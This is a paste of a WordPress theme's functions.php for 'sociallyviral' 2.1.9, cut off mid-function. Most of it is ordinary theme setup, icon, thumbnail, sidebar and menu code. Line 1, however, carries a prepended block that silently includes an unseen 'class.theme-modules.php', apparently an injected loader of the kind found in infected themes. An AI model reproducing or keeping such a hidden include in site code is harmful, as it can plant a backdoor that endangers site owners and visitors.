· 8 years ago · Jul 15, 2018, 06:06 PM
1<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php
2/*-----------------------------------------------------------------------------------*/
3/* Do not remove these lines, sky will fall on your head.
4/*-----------------------------------------------------------------------------------*/
5define( 'MTS_THEME_NAME', 'sociallyviral' );
6define( 'MTS_THEME_VERSION', '2.1.9' );
7
8require_once( dirname( __FILE__ ) . '/theme-options.php' );
9if ( ! isset( $content_width ) ) {
10 $content_width = 1060;
11}
12
13/*-----------------------------------------------------------------------------------*/
14/* Load Options
15/*-----------------------------------------------------------------------------------*/
16$mts_options = get_option( MTS_THEME_NAME );
17
18/**
19 * Register supported theme features, image sizes and nav menus.
20 * Also loads translated strings.
21 */
22function mts_after_setup_theme() {
23 if ( ! defined( 'MTS_THEME_WHITE_LABEL' ) ) {
24 define( 'MTS_THEME_WHITE_LABEL', false );
25 }
26
27 add_theme_support( 'title-tag' );
28 add_theme_support( 'automatic-feed-links' );
29
30 load_theme_textdomain( 'sociallyviral', get_template_directory().'/lang' );
31
32 add_theme_support( 'post-thumbnails' );
33 set_post_thumbnail_size( 370, 297, true );
34 add_image_size( 'sociallyviral-featured', 370, 297, true ); //featured
35 add_image_size( 'sociallyviral-slider', 1170, 400, true ); //slider
36 add_image_size( 'sociallyviral-featuredbig', 770, 297, true ); //featured full width
37 add_image_size( 'sociallyviral-related', 65, 65, true ); //related
38 add_image_size( 'sociallyviral-widgetthumb', 65, 65, true ); //widget
39 add_image_size( 'sociallyviral-widgetfull', 300, 200, true ); //sidebar full width
40
41 register_nav_menus( array(
42 'primary-menu' => __( 'Header', 'sociallyviral' ),
43 'footer-menu' => __( 'Footer', 'sociallyviral' ),
44 'mobile' => __( 'Mobile', 'sociallyviral' )
45 ) );
46
47 if ( mts_is_wc_active() ) {
48 add_theme_support( 'woocommerce' );
49 }
50
51}
52add_action('after_setup_theme', 'mts_after_setup_theme' );
53
54// Disable auto-updating the theme.
55function mts_disable_auto_update_theme( $update, $item ) {
56 if ( $item->slug == MTS_THEME_NAME ) {
57 return false;
58 }
59 return $update;
60}
61add_filter( 'auto_update_theme', 'mts_disable_auto_update_theme' );
62
63/**
64 * Disable Google Typography plugin
65 */
66function mts_deactivate_google_typography_plugin() {
67 if ( in_array( 'google-typography/google-typography.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
68 deactivate_plugins( 'google-typography/google-typography.php' );
69 }
70}
71add_action( 'admin_init', 'mts_deactivate_google_typography_plugin' );
72
73/**
74 * Determines whether the WooCommerce plugin is active or not.
75 * @return bool
76 */
77function mts_is_wc_active() {
78 if ( is_multisite() ) {
79 include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
80
81 return is_plugin_active( 'woocommerce/woocommerce.php' );
82 } else {
83 return in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) );
84 }
85}
86
87/**
88 * MTS icons for use in nav menus and icon select option.
89 *
90 * @return array
91 */
92function mts_get_icons() {
93 $icons = array(
94 __( 'Web Application Icons', 'sociallyviral' ) => array(
95 'adjust', 'anchor', 'archive', 'area-chart', 'arrows', 'arrows-h', 'arrows-v', 'asterisk', 'at', 'balance-scale', 'ban', 'bar-chart', 'barcode', 'bars', 'battery-empty', 'battery-full', 'battery-half', 'battery-quarter', 'battery-three-quarters', 'bed', 'beer', 'bell', 'bell-o', 'bell-slash', 'bell-slash-o', 'bicycle', 'binoculars', 'birthday-cake', 'bolt', 'bomb', 'book', 'bookmark', 'bookmark-o', 'briefcase', 'bug', 'building', 'building-o', 'bullhorn', 'bullseye', 'bus', 'calculator', 'calendar', 'calendar-check-o', 'calendar-minus-o', 'calendar-o', 'calendar-plus-o', 'calendar-times-o', 'camera', 'camera-retro', 'car', 'caret-square-o-down', 'caret-square-o-left', 'caret-square-o-right', 'caret-square-o-up', 'cart-arrow-down', 'cart-plus', 'cc', 'certificate', 'check', 'check-circle', 'check-circle-o', 'check-square', 'check-square-o', 'child', 'circle', 'circle-o', 'circle-o-notch', 'circle-thin', 'clock-o', 'clone', 'cloud', 'cloud-download', 'cloud-upload', 'code', 'code-fork', 'coffee', 'cog', 'cogs', 'comment', 'comment-o', 'commenting', 'commenting-o', 'comments', 'comments-o', 'compass', 'copyright', 'creative-commons', 'credit-card', 'crop', 'crosshairs', 'cube', 'cubes', 'cutlery', 'database', 'desktop', 'diamond', 'dot-circle-o', 'download', 'ellipsis-h', 'ellipsis-v', 'envelope', 'envelope-o', 'envelope-square', 'eraser', 'exchange', 'exclamation', 'exclamation-circle', 'exclamation-triangle', 'external-link', 'external-link-square', 'eye', 'eye-slash', 'eyedropper', 'fax', 'female', 'fighter-jet', 'file-archive-o', 'file-audio-o', 'file-code-o', 'file-excel-o', 'file-image-o', 'file-pdf-o', 'file-powerpoint-o', 'file-video-o', 'file-word-o', 'film', 'filter', 'fire', 'fire-extinguisher', 'flag', 'flag-checkered', 'flag-o', 'flask', 'folder', 'folder-o', 'folder-open', 'folder-open-o', 'frown-o', 'futbol-o', 'gamepad', 'gavel', 'gift', 'glass', 'globe', 'graduation-cap', 'hand-lizard-o', 'hand-paper-o', 'hand-peace-o', 'hand-pointer-o', 'hand-rock-o', 'hand-scissors-o', 'hand-spock-o', 'hdd-o', 'headphones', 'heart', 'heart-o', 'heartbeat', 'history', 'home', 'hourglass', 'hourglass-end', 'hourglass-half', 'hourglass-o', 'hourglass-start', 'i-cursor', 'inbox', 'industry', 'info', 'info-circle', 'key', 'keyboard-o', 'language', 'laptop', 'leaf', 'lemon-o', 'level-down', 'level-up', 'life-ring', 'lightbulb-o', 'line-chart', 'location-arrow', 'lock', 'magic', 'magnet', 'male', 'map', 'map-marker', 'map-o', 'map-pin', 'map-signs', 'meh-o', 'microphone', 'microphone-slash', 'minus', 'minus-circle', 'minus-square', 'minus-square-o', 'mobile', 'money', 'moon-o', 'motorcycle', 'mouse-pointer', 'music', 'newspaper-o', 'object-group', 'object-ungroup', 'paint-brush', 'paper-plane', 'paper-plane-o', 'paw', 'pencil', 'pencil-square', 'pencil-square-o', 'phone', 'phone-square', 'picture-o', 'pie-chart', 'plane', 'plug', 'plus', 'plus-circle', 'plus-square', 'plus-square-o', 'power-off', 'print', 'puzzle-piece', 'qrcode', 'question', 'question-circle', 'quote-left', 'quote-right', 'random', 'recycle', 'refresh', 'registered', 'reply', 'reply-all', 'retweet', 'road', 'rocket', 'rss', 'rss-square', 'search', 'search-minus', 'search-plus', 'server', 'share', 'share-alt', 'share-alt-square', 'share-square', 'share-square-o', 'shield', 'ship', 'shopping-cart', 'sign-in', 'sign-out', 'signal', 'sitemap', 'sliders', 'smile-o', 'sort', 'sort-alpha-asc', 'sort-alpha-desc', 'sort-amount-asc', 'sort-amount-desc', 'sort-asc', 'sort-desc', 'sort-numeric-asc', 'sort-numeric-desc', 'space-shuttle', 'spinner', 'spoon', 'square', 'square-o', 'star', 'star-half', 'star-half-o', 'star-o', 'sticky-note', 'sticky-note-o', 'street-view', 'suitcase', 'sun-o', 'tablet', 'tachometer', 'tag', 'tags', 'tasks', 'taxi', 'television', 'terminal', 'thumb-tack', 'thumbs-down', 'thumbs-o-down', 'thumbs-o-up', 'thumbs-up', 'ticket', 'times', 'times-circle', 'times-circle-o', 'tint', 'toggle-off', 'toggle-on', 'trademark', 'trash', 'trash-o', 'tree', 'trophy', 'truck', 'tty', 'umbrella', 'university', 'unlock', 'unlock-alt', 'upload', 'user', 'user-plus', 'user-secret', 'user-times', 'users', 'video-camera', 'volume-down', 'volume-off', 'volume-up', 'wheelchair', 'wifi', 'wrench'
96 ),
97 __( 'Hand Icons', 'sociallyviral' ) => array(
98 'hand-lizard-o', 'hand-o-down', 'hand-o-left', 'hand-o-right', 'hand-o-up', 'hand-paper-o', 'hand-peace-o', 'hand-pointer-o', 'hand-rock-o', 'hand-scissors-o', 'hand-spock-o', 'thumbs-down', 'thumbs-o-down', 'thumbs-o-up', 'thumbs-up'
99 ),
100 __( 'Transportation Icons', 'sociallyviral' ) => array(
101 'ambulance', 'bicycle', 'bus', 'car', 'fighter-jet', 'motorcycle', 'plane', 'rocket', 'ship', 'space-shuttle', 'subway', 'taxi', 'train', 'truck', 'wheelchair'
102 ),
103 __( 'Gender Icons', 'sociallyviral' ) => array(
104 'genderless', 'mars', 'mars-double', 'mars-stroke', 'mars-stroke-h', 'mars-stroke-v', 'mercury', 'neuter', 'transgender', 'transgender-alt', 'venus', 'venus-double', 'venus-mars'
105 ),
106 __( 'File Type Icons', 'sociallyviral' ) => array(
107 'file', 'file-archive-o', 'file-audio-o', 'file-code-o', 'file-excel-o', 'file-image-o', 'file-o', 'file-pdf-o', 'file-powerpoint-o', 'file-text', 'file-text-o', 'file-video-o', 'file-word-o'
108 ),
109 __( 'Spinner Icons', 'sociallyviral' ) => array(
110 'circle-o-notch', 'cog', 'refresh', 'spinner'
111 ),
112 __( 'Form Control Icons', 'sociallyviral' ) => array(
113 'check-square', 'check-square-o', 'circle', 'circle-o', 'dot-circle-o', 'minus-square', 'minus-square-o', 'plus-square', 'plus-square-o', 'square', 'square-o'
114 ),
115 __( 'Payment Icons', 'sociallyviral' ) => array(
116 'cc-amex', 'cc-diners-club', 'cc-discover', 'cc-jcb', 'cc-mastercard', 'cc-paypal', 'cc-stripe', 'cc-visa', 'credit-card', 'google-wallet', 'paypal'
117 ),
118 __( 'Chart Icons', 'sociallyviral' ) => array(
119 'area-chart', 'bar-chart', 'line-chart', 'pie-chart'
120 ),
121 __( 'Currency Icons', 'sociallyviral' ) => array(
122 'btc', 'eur', 'gbp', 'gg', 'gg-circle', 'ils', 'inr', 'jpy', 'krw', 'money', 'rub', 'try', 'usd'
123 ),
124 __( 'Text Editor Icons', 'sociallyviral' ) => array(
125 'align-center', 'align-justify', 'align-left', 'align-right', 'bold', 'chain-broken', 'clipboard', 'columns', 'eraser', 'file', 'file-o', 'file-text', 'file-text-o', 'files-o', 'floppy-o', 'font', 'header', 'indent', 'italic', 'link', 'list', 'list-alt', 'list-ol', 'list-ul', 'outdent', 'paperclip', 'paragraph', 'repeat', 'scissors', 'strikethrough', 'subscript', 'superscript', 'table', 'text-height', 'text-width', 'th', 'th-large', 'th-list', 'underline', 'undo'
126 ),
127 __( 'Directional Icons', 'sociallyviral' ) => array(
128 'angle-double-down', 'angle-double-left', 'angle-double-right', 'angle-double-up', 'angle-down', 'angle-left', 'angle-right', 'angle-up', 'arrow-circle-down', 'arrow-circle-left', 'arrow-circle-o-down', 'arrow-circle-o-left', 'arrow-circle-o-right', 'arrow-circle-o-up', 'arrow-circle-right', 'arrow-circle-up', 'arrow-down', 'arrow-left', 'arrow-right', 'arrow-up', 'arrows', 'arrows-alt', 'arrows-h', 'arrows-v', 'caret-down', 'caret-left', 'caret-right', 'caret-square-o-down', 'caret-square-o-left', 'caret-square-o-right', 'caret-square-o-up', 'caret-up', 'chevron-circle-down', 'chevron-circle-left', 'chevron-circle-right', 'chevron-circle-up', 'chevron-down', 'chevron-left', 'chevron-right', 'chevron-up', 'exchange', 'hand-o-down', 'hand-o-left', 'hand-o-right', 'hand-o-up', 'long-arrow-down', 'long-arrow-left', 'long-arrow-right', 'long-arrow-up'
129 ),
130 __( 'Video Player Icons', 'sociallyviral' ) => array(
131 'arrows-alt', 'backward', 'compress', 'eject', 'expand', 'fast-backward', 'fast-forward', 'forward', 'pause', 'play', 'play-circle', 'play-circle-o', 'random', 'step-backward', 'step-forward', 'stop', 'youtube-play'
132 ),
133 __( 'Brand Icons', 'sociallyviral' ) => array(
134 '500px', 'adn', 'amazon', 'android', 'angellist', 'apple', 'behance', 'behance-square', 'bitbucket', 'bitbucket-square', 'black-tie', 'btc', 'buysellads', 'cc-amex', 'cc-diners-club', 'cc-discover', 'cc-jcb', 'cc-mastercard', 'cc-paypal', 'cc-stripe', 'cc-visa', 'chrome', 'codepen', 'connectdevelop', 'contao', 'css3', 'dashcube', 'delicious', 'deviantart', 'digg', 'dribbble', 'dropbox', 'drupal', 'empire', 'expeditedssl', 'facebook', 'facebook-official', 'facebook-square', 'firefox', 'flickr', 'fonticons', 'forumbee', 'foursquare', 'get-pocket', 'gg', 'gg-circle', 'git', 'git-square', 'github', 'github-alt', 'github-square', 'google', 'google-plus', 'google-plus-square', 'google-wallet', 'gratipay', 'hacker-news', 'houzz', 'html5', 'instagram', 'internet-explorer', 'ioxhost', 'joomla', 'jsfiddle', 'lastfm', 'lastfm-square', 'leanpub', 'linkedin', 'linkedin-square', 'linux', 'maxcdn', 'meanpath', 'medium', 'odnoklassniki', 'odnoklassniki-square', 'opencart', 'openid', 'opera', 'optin-monster', 'pagelines', 'paypal', 'pied-piper', 'pied-piper-alt', 'pinterest', 'pinterest-p', 'pinterest-square', 'qq', 'rebel', 'reddit', 'reddit-square', 'renren', 'safari', 'sellsy', 'share-alt', 'share-alt-square', 'shirtsinbulk', 'simplybuilt', 'skyatlas', 'skype', 'slack', 'slideshare', 'soundcloud', 'spotify', 'stack-exchange', 'stack-overflow', 'steam', 'steam-square', 'stumbleupon', 'stumbleupon-circle', 'tencent-weibo', 'trello', 'tripadvisor', 'tumblr', 'tumblr-square', 'twitch', 'twitter', 'twitter-square', 'viacoin', 'vimeo', 'vimeo-square', 'vine', 'vk', 'weibo', 'weixin', 'whatsapp', 'wikipedia-w', 'windows', 'wordpress', 'xing', 'xing-square', 'y-combinator', 'yahoo', 'yelp', 'youtube', 'youtube-play', 'youtube-square'
135 ),
136 __( 'Medical Icons', 'sociallyviral' ) => array(
137 'ambulance', 'h-square', 'heart', 'heart-o', 'heartbeat', 'hospital-o', 'medkit', 'plus-square', 'stethoscope', 'user-md', 'wheelchair'
138 )
139 );
140
141 return $icons;
142}
143
144
145/**
146 * Get the current post's thumbnail URL.
147 *
148 * @param string $size
149 *
150 * @return string
151 */
152function mts_get_thumbnail_url( $size = 'full' ) {
153 $post_id = get_the_ID() ;
154 if (has_post_thumbnail( $post_id ) ) {
155 $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post_id ), $size );
156 return $image[0];
157 }
158
159 // use first attached image
160 $images = get_children( 'post_type=attachment&post_mime_type=image&post_parent=' . $post_id );
161 if (!empty($images)) {
162 $image = reset($images);
163 $image_data = wp_get_attachment_image_src( $image->ID, $size );
164 return $image_data[0];
165 }
166
167 // use no preview fallback
168 if ( file_exists( get_template_directory().'/images/nothumb-'.$size.'.png' ) ) {
169 return get_template_directory_uri().'/images/nothumb-'.$size.'.png';
170 }
171
172 return '';
173}
174
175/**
176 * Create and show column for featured in portfolio items list admin page.
177 * @param $post_ID
178 *
179 * @return string url
180 */
181function mts_get_featured_image($post_ID) {
182 $post_thumbnail_id = get_post_thumbnail_id($post_ID);
183 if ($post_thumbnail_id) {
184 $post_thumbnail_img = wp_get_attachment_image_src($post_thumbnail_id, 'sociallyviral-widgetfull');
185 return $post_thumbnail_img[0];
186 }
187}
188
189/**
190 * Adds a `Featured Image` column header in the item list admin page.
191 *
192 * @param array $defaults
193 *
194 * @return array
195 */
196function mts_columns_head($defaults) {
197 if (get_post_type() == 'post')
198 $defaults['is_featured_post'] = '<div class="dashicons dashicons-star-filled" title="'.__('Featured Post').'"></div>';
199
200 if (get_post_type() == 'post' || get_post_type() == 'page')
201 $defaults['featured_image'] = __('Featured Image', 'sociallyviral');
202
203 return $defaults;
204}
205
206/**
207 * Adds a `Featured Image` column row value in the item list admin page.
208 *
209 * @param string $column_name The name of the column to display.
210 * @param int $post_ID The ID of the current post.
211 */
212function mts_columns_content($column_name, $post_ID) {
213 if ($column_name == 'featured_image') {
214 $post_featured_image = mts_get_featured_image($post_ID);
215 if ($post_featured_image) {
216 echo '<img width="150" height="100" src="' . $post_featured_image . '" />';
217 }
218 } elseif ($column_name == 'is_featured_post') {
219 if (get_post_meta( $post_ID, 'mts_featured', true )) {
220 echo '<div class="dashicons dashicons-star-filled" title="'.__('Featured Post').'"></div>';
221 } else {
222 echo '<div class="dashicons dashicons-star-empty" title="'.__('Not a Featured Post').'"></div>';
223 }
224 }
225}
226function mts_posts_admin_head() {
227 echo '<style type="text/css">';
228 echo 'td.column-is_featured_post, #is_featured_post { width: 20px; }';
229 echo '#is_featured_post .dashicons { color: #222; }';
230 echo '.column-is_featured_post .dashicons { color: #888; }';
231 echo '</style>';
232}
233add_action('admin_head-edit.php', 'mts_posts_admin_head');
234add_filter('manage_posts_columns', 'mts_columns_head');
235add_action('manage_posts_custom_column', 'mts_columns_content', 10, 2);
236
237/**
238 * Change the HTML markup of the post thumbnail.
239 *
240 * @param string $html
241 * @param int $post_id
242 * @param string $post_image_id
243 * @param int $size
244 * @param string $attr
245 *
246 * @return string
247 */
248function mts_post_image_html( $html, $post_id, $post_image_id, $size, $attr ) {
249 if ( has_post_thumbnail( $post_id ) || 'shop_thumbnail' === $size )
250 return $html;
251
252 // use first attached image
253 $images = get_children( 'post_type=attachment&post_mime_type=image&post_parent=' . $post_id );
254 if (!empty($images)) {
255 $image = reset($images);
256 return wp_get_attachment_image( $image->ID, $size, false, $attr );
257 }
258
259 // use no preview fallback
260 if ( file_exists( get_template_directory().'/images/nothumb-'.$size.'.png' ) ) {
261 $placeholder = get_template_directory_uri().'/images/nothumb-'.$size.'.png';
262 $mts_options = get_option( MTS_THEME_NAME );
263 if ( ! empty( $mts_options['mts_lazy_load'] ) && ! empty( $mts_options['mts_lazy_load_thumbs'] ) ) {
264 $placeholder_src = '';
265 $layzr_attr = ' data-layzr="'.esc_attr( $placeholder ).'"';
266 } else {
267 $placeholder_src = $placeholder;
268 $layzr_attr = '';
269 }
270
271 $placeholder_classs = 'attachment-'.$size.' wp-post-image';
272 return '<img src="'.esc_url( $placeholder_src ).'" class="'.esc_attr( $placeholder_classs ).'" alt="'.esc_attr( get_the_title() ).'"'.$layzr_attr.'>';
273 }
274
275 return '';
276}
277add_filter( 'post_thumbnail_html', 'mts_post_image_html', 10, 5 );
278
279/**
280 * Add data-layzr attribute to featured image ( for lazy load )
281 *
282 * @param array $attr
283 * @param WP_Post $attachment
284 * @param string|array $size
285 *
286 * @return array
287 */
288function mts_image_lazy_load_attr( $attr, $attachment, $size ) {
289 if ( is_admin() || is_feed() ) return $attr;
290 $mts_options = get_option( MTS_THEME_NAME );
291 if ( ! empty( $mts_options['mts_lazy_load'] ) && ! empty( $mts_options['mts_lazy_load_thumbs'] ) ) {
292 $attr['data-layzr'] = $attr['src'];
293 $attr['src'] = '';
294 }
295
296 return $attr;
297}
298add_filter( 'wp_get_attachment_image_attributes', 'mts_image_lazy_load_attr', 10, 3 );
299
300/**
301 * Add data-layzr attribute to post content images ( for lazy load )
302 *
303 * @param string $content
304 *
305 * @return string
306 */
307function mts_content_image_lazy_load_attr( $content ) {
308 $mts_options = get_option( MTS_THEME_NAME );
309 if ( ! empty( $mts_options['mts_lazy_load'] ) && ! empty( $mts_options['mts_lazy_load_content'] ) ) {
310 $dom = new DOMDocument();
311 if (function_exists('mb_convert_encoding')) {
312 @$dom->loadHTML(mb_convert_encoding($content, 'HTML-ENTITIES', 'UTF-8'));
313 } else {
314 //@$dom->loadHTML($content); // this might cause character encoding problems
315 return $content; // abort instead, no lazy load support :(
316 }
317 foreach ( $dom->getElementsByTagName('img') as $node ) {
318 $oldsrc = $node->getAttribute('src');
319 $node->setAttribute("data-layzr", $oldsrc );
320 $newsrc = '';
321 $node->setAttribute("src", $newsrc );
322 }
323 $newHtml = $dom->saveHtml();
324 return $newHtml;
325 }
326
327 return $content;
328}
329add_filter('the_content', 'mts_content_image_lazy_load_attr');
330
331/**
332 * Enable Widgetized sidebar and Footer
333 */
334function mts_register_sidebars() {
335 $mts_options = get_option( MTS_THEME_NAME );
336
337 // Default sidebar
338 register_sidebar( array(
339 'name' => __('Sidebar', 'sociallyviral'),
340 'description' => __( 'Default sidebar.', 'sociallyviral' ),
341 'id' => 'sidebar',
342 'before_widget' => '<div id="%1$s" class="widget %2$s">',
343 'after_widget' => '</div>',
344 'before_title' => '<h3 class="widget-title">',
345 'after_title' => '</h3>',
346 ) );
347
348 // Homepage Widget
349 register_sidebar(array(
350 'name' => __('Homepage Widget Area', 'sociallyviral'),
351 'description' => __( 'Appears on the homepage, after second or third post', 'sociallyviral' ),
352 'id' => 'widget-home',
353 'before_widget' => '<div id="%1$s" class="widget widget-home %2$s">',
354 'after_widget' => '</div>',
355 'before_title' => '<h3 class="widget-title">',
356 'after_title' => '</h3>',
357 ));
358
359 // Top level footer widget areas
360 if ( !empty( $mts_options['mts_top_footer'] )) {
361 if ( empty( $mts_options['mts_top_footer_num'] )) $mts_options['mts_top_footer_num'] = 4;
362 register_sidebars( $mts_options['mts_top_footer_num'], array(
363 'name' => __( 'Footer %d', 'sociallyviral' ),
364 'description' => __( 'Appears in the footer.', 'sociallyviral' ),
365 'id' => 'footer-first',
366 'before_widget' => '<div id="%1$s" class="widget %2$s">',
367 'after_widget' => '</div>',
368 'before_title' => '<h3 class="widget-title">',
369 'after_title' => '</h3>',
370 ) );
371 }
372
373 // Custom sidebars
374 if ( !empty( $mts_options['mts_custom_sidebars'] ) && is_array( $mts_options['mts_custom_sidebars'] )) {
375 foreach( $mts_options['mts_custom_sidebars'] as $sidebar ) {
376 if ( !empty( $sidebar['mts_custom_sidebar_id'] ) && !empty( $sidebar['mts_custom_sidebar_id'] ) && $sidebar['mts_custom_sidebar_id'] != 'sidebar-' ) {
377 register_sidebar( array( 'name' => ''.$sidebar['mts_custom_sidebar_name'].'', 'id' => ''.sanitize_title( strtolower( $sidebar['mts_custom_sidebar_id'] )).'', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3>', 'after_title' => '</h3>' ));
378 }
379 }
380 }
381
382 if ( mts_is_wc_active() ) {
383 // Register WooCommerce Shop and Single Product Sidebar
384 register_sidebar( array(
385 'name' => __('Shop Page Sidebar', 'sociallyviral' ),
386 'description' => __( 'Appears on Shop main page and product archive pages.', 'sociallyviral' ),
387 'id' => 'shop-sidebar',
388 'before_widget' => '<div id="%1$s" class="widget %2$s">',
389 'after_widget' => '</div>',
390 'before_title' => '<h3 class="widget-title">',
391 'after_title' => '</h3>',
392 ) );
393 register_sidebar( array(
394 'name' => __('Single Product Sidebar', 'sociallyviral' ),
395 'description' => __( 'Appears on single product pages.', 'sociallyviral' ),
396 'id' => 'product-sidebar',
397 'before_widget' => '<div id="%1$s" class="widget %2$s">',
398 'after_widget' => '</div>',
399 'before_title' => '<h3 class="widget-title">',
400 'after_title' => '</h3>',
401 ) );
402 }
403}
404
405add_action( 'widgets_init', 'mts_register_sidebars' );
406
407/**
408 * Retrieve the ID of the sidebar to use on the active page.
409 *
410 * @return string
411 */
412function mts_custom_sidebar() {
413 $mts_options = get_option( MTS_THEME_NAME );
414
415 // Default sidebar.
416 $sidebar = 'sidebar';
417
418 if ( is_home() && !empty( $mts_options['mts_sidebar_for_home'] )) $sidebar = $mts_options['mts_sidebar_for_home'];
419 if ( is_single() && !empty( $mts_options['mts_sidebar_for_post'] )) $sidebar = $mts_options['mts_sidebar_for_post'];
420 if ( is_page() && !empty( $mts_options['mts_sidebar_for_page'] )) $sidebar = $mts_options['mts_sidebar_for_page'];
421
422 // Archives.
423 if ( is_archive() && !empty( $mts_options['mts_sidebar_for_archive'] )) $sidebar = $mts_options['mts_sidebar_for_archive'];
424 if ( is_category() && !empty( $mts_options['mts_sidebar_for_category'] )) $sidebar = $mts_options['mts_sidebar_for_category'];
425 if ( is_tag() && !empty( $mts_options['mts_sidebar_for_tag'] )) $sidebar = $mts_options['mts_sidebar_for_tag'];
426 if ( is_date() && !empty( $mts_options['mts_sidebar_for_date'] )) $sidebar = $mts_options['mts_sidebar_for_date'];
427 if ( is_author() && !empty( $mts_options['mts_sidebar_for_author'] )) $sidebar = $mts_options['mts_sidebar_for_author'];
428
429 // Other.
430 if ( is_search() && !empty( $mts_options['mts_sidebar_for_search'] )) $sidebar = $mts_options['mts_sidebar_for_search'];
431 if ( is_404() && !empty( $mts_options['mts_sidebar_for_notfound'] )) $sidebar = $mts_options['mts_sidebar_for_notfound'];
432
433 // Woocommerce.
434 if ( mts_is_wc_active() ) {
435 if ( is_shop() || is_product_category() ) {
436 $sidebar = 'shop-sidebar';
437 if ( !empty( $mts_options['mts_sidebar_for_shop'] )) {
438 $sidebar = $mts_options['mts_sidebar_for_shop'];
439 }
440 }
441 if ( is_product() ) {
442 $sidebar = 'product-sidebar';
443 if ( !empty( $mts_options['mts_sidebar_for_product'] )) {
444 $sidebar = $mts_options['mts_sidebar_for_product'];
445 }
446 }
447 }
448
449 // Page/post specific custom sidebar-
450 if ( is_page() || is_single() ) {
451 wp_reset_postdata();
452 global $wp_registered_sidebars;
453 $custom = get_post_meta( get_the_ID(), '_mts_custom_sidebar', true );
454 if ( !empty( $custom ) && array_key_exists( $custom, $wp_registered_sidebars ) || 'mts_nosidebar' == $custom ) {
455 $sidebar = $custom;
456 }
457 }
458
459 return $sidebar;
460}
461
462/**
463 * Display a custom navmenu.
464 *
465 * @param array $args
466 *
467 * @see wp_nav_menu()
468 */
469function mts_assign_menu_to_location( $args = '' ) {
470 // Don't change if there is "menu" arg passed to wp_nav_menu()
471 if ( !empty( $args['menu'] ) ) {
472 return $args;
473 }
474 global $mts_options;
475 $location = $args['theme_location'];
476 if ( is_home() && isset( $mts_options['mts_navbar_' . $location . '_for_home'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_home'] ) ) {
477 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_home'] ) ) {
478 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_home'];
479 }
480 }
481 if ( is_single() && isset( $mts_options['mts_navbar_' . $location . '_for_post'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_post'] ) ) {
482 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_post'] ) ) {
483 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_post'];
484 }
485 }
486 if ( is_page() && isset( $mts_options['mts_navbar_' . $location . '_for_page'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_page'] ) ) {
487 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_page'] ) ) {
488 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_page'];
489 }
490 }
491 if ( is_archive() && isset( $mts_options['mts_navbar_' . $location . '_for_archive'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_archive'] ) ) {
492 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_archive'] ) ) {
493 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_archive'];
494 }
495 }
496 if ( is_category() && isset( $mts_options['mts_navbar_' . $location . '_for_category'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_category'] ) ) {
497 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_category'] ) ) {
498 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_category'];
499 }
500 }
501 if ( is_tag() && isset( $mts_options['mts_navbar_' . $location . '_for_tag'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_tag'] ) ) {
502 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_tag'] ) ) {
503 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_tag'];
504 }
505 }
506 if ( is_date() && isset( $mts_options['mts_navbar_' . $location . '_for_date'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_date'] ) ) {
507 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_date'] ) ) {
508 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_date'];
509 }
510 }
511 if ( is_author() && isset( $mts_options['mts_navbar_' . $location . '_for_author'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_author'] ) ) {
512 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_author'] ) ) {
513 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_author'];
514 }
515 }
516 if ( is_search() && isset( $mts_options['mts_navbar_' . $location . '_for_search'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_search'] ) ) {
517 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_search'] ) ) {
518 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_search'];
519 }
520 }
521 if ( is_404() && isset( $mts_options['mts_navbar_' . $location . '_for_notfound'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_notfound'] ) ) {
522 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_notfound'] ) ) {
523 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_notfound'];
524 }
525 }
526 // Woocommerce.
527 if ( mts_is_wc_active() ) {
528 if ( is_shop() || is_product_category() ) {
529 if ( isset( $mts_options['mts_navbar_' . $location . '_for_shop'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_shop'] ) ) {
530 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_shop'] ) ) {
531 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_shop'];
532 }
533 }
534 }
535 if ( is_product() ) {
536 if ( isset( $mts_options['mts_navbar_' . $location . '_for_product'] ) && ! empty( $mts_options['mts_navbar_' . $location . '_for_product'] ) ) {
537 if ( wp_get_nav_menu_object( $mts_options['mts_navbar_' . $location . '_for_product'] ) ) {
538 $args['menu'] = $mts_options['mts_navbar_' . $location . '_for_product'];
539 }
540 }
541 }
542 }
543 // Page/post specific custom sidebar-
544 if ( is_page() || is_single() ) {
545 wp_reset_postdata();
